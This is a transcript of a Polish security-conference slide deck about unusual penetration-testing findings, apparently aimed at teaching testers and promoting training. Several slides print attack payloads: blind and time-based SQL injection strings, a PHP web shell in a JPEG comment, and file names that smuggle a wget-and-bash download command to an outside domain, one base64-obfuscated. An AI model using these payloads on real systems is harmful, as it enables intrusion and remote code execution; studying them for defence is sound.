testy bezpieczeństwa - niesztampowe przypadki

35
Borys Łącki Testy bezpieczeństwa - niesztampowe przypadki

Upload: logicaltrust-pl

Post on 19-Jan-2017

103 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: Testy bezpieczeństwa - niesztampowe przypadki

Borys Łącki

Testy bezpieczeństwa - niesztampowe przypadki

Page 2: Testy bezpieczeństwa - niesztampowe przypadki

Testy penetracyjne:● serwisów WWW● aplikacji mobilnych● sieci firmowych

● audyty bezpieczeństwa● analiza kodu źródłowego● informatyka śledcza● bezpieczeństwo SCADA● szkolenia● testy socjotechniczne● testy Red - Blue Team

https://www.securityinside.pl

Page 3: Testy bezpieczeństwa - niesztampowe przypadki

Ponad 10-letnie doświadczenie w branży bezpieczeństwa IT.

×××

Ponad 200 testów penetracyjnych i 100 testów aplikacji mobilnych

×××

Znaleźliśmy podatności w produktach: OpenSSL, Apache, IIS, OpenSSH, PHP, (...)

Facebook, Google, Apple, Microsoft, Nokia, Adobe, (...)

×××

Ponad 100 wykładów na najważniejszych branżowych konferencjach, Confidence, SECURE, SecureCON, Internet Banking Security, PLNOG, MeetIT, Security

Bsides, TestFest, OWASP, SecDay, Security Case Study, (...)

Page 4: Testy bezpieczeństwa - niesztampowe przypadki

Testy bezpieczeństwa

Przychodzi tester do baru i zamawia drinka. Zamawia 10 drinków.

Zamawia 99999999999 drinków. Odchodzi od baru, podchodzi ponownie, odchodzi od baru podchodzi ponownie, zamawia

-8 drinków.

Zamawia szynę kolejową.

Czy:

● istnieje sposób na kradzież informacji z bazy danych?

● aplikacja może zaatakować użytkownika?

● możemy wykonać określoną akcję jako inny użytkownik (np. admin)?

● można zablokować/unieruchomić aplikację?

● podsłuchując transmisję możemy wykraść dane uwierzytelniające? (hasło?)

Page 5: Testy bezpieczeństwa - niesztampowe przypadki

Testy manualne

Page 6: Testy bezpieczeństwa - niesztampowe przypadki

Manual vs. Automat

Page 7: Testy bezpieczeństwa - niesztampowe przypadki

Niesztampowe przypadki

Page 8: Testy bezpieczeństwa - niesztampowe przypadki

Niesztampowe przypadki

?id=155765%20AND%20(select%20ascii(substring((select%20login%20from

%20admins%20limit%201,1),1,1)))%3D97

Czy pierwsza litera pierwszego loginu z tabeli admins ma kod ascii = 97

IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/

Page 9: Testy bezpieczeństwa - niesztampowe przypadki

Koszty defektów

Page 10: Testy bezpieczeństwa - niesztampowe przypadki

Facebook - delete photo album

DELETE /<Victim's_photo_album_id> HTTP/1.1

Host : graph.facebook.com

Content-Length: 245

access_token=<Your(Attacker)_Facebook_for_Android_Access_Token>

Nagroda BugBounty: 12 500 $

Page 11: Testy bezpieczeństwa - niesztampowe przypadki

OVH – Password reset

This url is randomly generated with 21 characters, generated from 3 different algorithms for randomess generating each 7 characters.

we have discovered an issue with the function that generates the 21 characters. Two of the three random functions were generating a not-so-random string. It was hence possible to ask for a password change and then to brute-force the password reset url.

Page 12: Testy bezpieczeństwa - niesztampowe przypadki

BugBounty – brak separacji + hasła

username: admin and password: ???????

Page 13: Testy bezpieczeństwa - niesztampowe przypadki

BugBounty – SVN repository

Page 14: Testy bezpieczeństwa - niesztampowe przypadki

GIT repository

Page 15: Testy bezpieczeństwa - niesztampowe przypadki

Zarządzanie danymi

Page 16: Testy bezpieczeństwa - niesztampowe przypadki

/var/log/apache2/ modsec_audit.log

Dane uwierzytelniające + 755

Page 17: Testy bezpieczeństwa - niesztampowe przypadki

2 Factor Authentication

Page 18: Testy bezpieczeństwa - niesztampowe przypadki

Zmiana statusu zamówienia

POST /transfers/success

session_id=260742

Status: zapłacony

Page 19: Testy bezpieczeństwa - niesztampowe przypadki

Zaokrąglanie małych kwot

10-(0.01*2.90)-(0.01*2.90)

9.94

10-(0.01*2.90)-(0.01*2.90)

9.96

Page 20: Testy bezpieczeństwa - niesztampowe przypadki

Upload pliku

'aaaaaaaaaaaa.php '

DENY

'aaaaaaaaaaaaaaaaaaaaaa.php'.jpg

ACCEPT

Page 21: Testy bezpieczeństwa - niesztampowe przypadki

Upload image - watermark

$ php -r 'print_r(getimagesize("test.jpg"));'

Array( [0] => 640, [1] => 480, [2] => 2, [3] => width="640" height="480", [bits] => 8, [channels] => 3, [mime] => image/jpeg )

$ file test.jpg

test.jpg: JPEG image data, JFIF standard 1.01,

comment: "<?php system($_POST[a]); ?>"

Page 22: Testy bezpieczeństwa - niesztampowe przypadki

Import / Eksport

● Export → Plik-eksportu.zip● Dodanie pliku do archiwum:

/files/zzz`wget naszadomena.pl -O a.txt;bash a.txt`.txt

● Import ← Plik-eksportu.zip● Kompresuj

Page 23: Testy bezpieczeństwa - niesztampowe przypadki

Upload - base64

POST /files/upload/path/(base64)

Content-Disposition: form-data; name="file";

filename="`echo$IFS'd2dldCBuYXN6YWRvbWVuYS5wbCAtTyBhLnR4dDtiYXNoIGEudHh0Cg==|base64$IFS-d|bash`"

wget naszadomena.pl -O a.txt;bash a.txt

Page 24: Testy bezpieczeństwa - niesztampowe przypadki

Liczba: 1e100

Frontend: 1

Backend: 10000000000

Nadużycia związane ze zmianą kwot na koncie bankowym.

Page 25: Testy bezpieczeństwa - niesztampowe przypadki

Pominięcie kroku weryfikacji

1 2 3 4

Page 26: Testy bezpieczeństwa - niesztampowe przypadki

Reset hasła - token

Odzyskanie hasła:

"Twój nowy token: 303932 jest ważny 24 godziny"

Page 27: Testy bezpieczeństwa - niesztampowe przypadki

Algorytmy haseł

./john .htaccess-crypt (Traditional DES [128/128 BS SSE2-16])

c/s: 2907K 19 godzin

./john .htaccess-bcrypt (OpenBSD Blowfish [32/64 X2])

c/s: 1412 > 4 lata

Page 28: Testy bezpieczeństwa - niesztampowe przypadki

Opowieści z krypty - procesy

<yyy> uy mnie w robocie gosc puscil TRUNCATE bazy na produkcji wklejajac sql z neta bez sprawdzenia

<xxx> u mnie puscil update tylko zapomnial dac where :D

Page 29: Testy bezpieczeństwa - niesztampowe przypadki

Phishing

30% haseł w 15 minut

Page 30: Testy bezpieczeństwa - niesztampowe przypadki

Quake 1

https://www.youtube.com/watch?v=fRinW7SJC6QAPT x 3 - wybrane studium przypadków

Page 31: Testy bezpieczeństwa - niesztampowe przypadki

USB – Rubber Ducky

http://usbrubberducky.com

Page 32: Testy bezpieczeństwa - niesztampowe przypadki

Materiały dodatkowe● Narzędzia do zautomatyzowanego testowania bezpieczeństwa

https://www.youtube.com/watch?v=9zgH7wHv_V0

● OWASP Top10 Najpopularniejsze błędy bezpieczeństwa aplikacji WWW

https://www.youtube.com/watch?v=hOAc5vUKrqA

● Podstawowy arsenał testera bezpieczeństwa aplikacji WWW

https://www.youtube.com/watch?v=F1COxOJyM7o

● APT x 3 - wybrane studium przypadków

https://www.youtube.com/watch?v=fRinW7SJC6Q

● The Security Checklist

https://github.com/FallibleInc/security-guide-for-developers/blob/master/security-checklist.md

Page 33: Testy bezpieczeństwa - niesztampowe przypadki

OWASP.ORG

Page 34: Testy bezpieczeństwa - niesztampowe przypadki

https://z3s.pl/szkolenia/

Atak i obrona:● Bezpieczeństwo aplikacji WWW● Bezpieczeństwo aplikacji mobilnych

-20%Obowiązuje 31.337 dniHasło: ITCORNER16

Szkolenia – rabat

Page 35: Testy bezpieczeństwa - niesztampowe przypadki

Dziękuję za uwagę

Borys Łącki

[email protected]

Pytania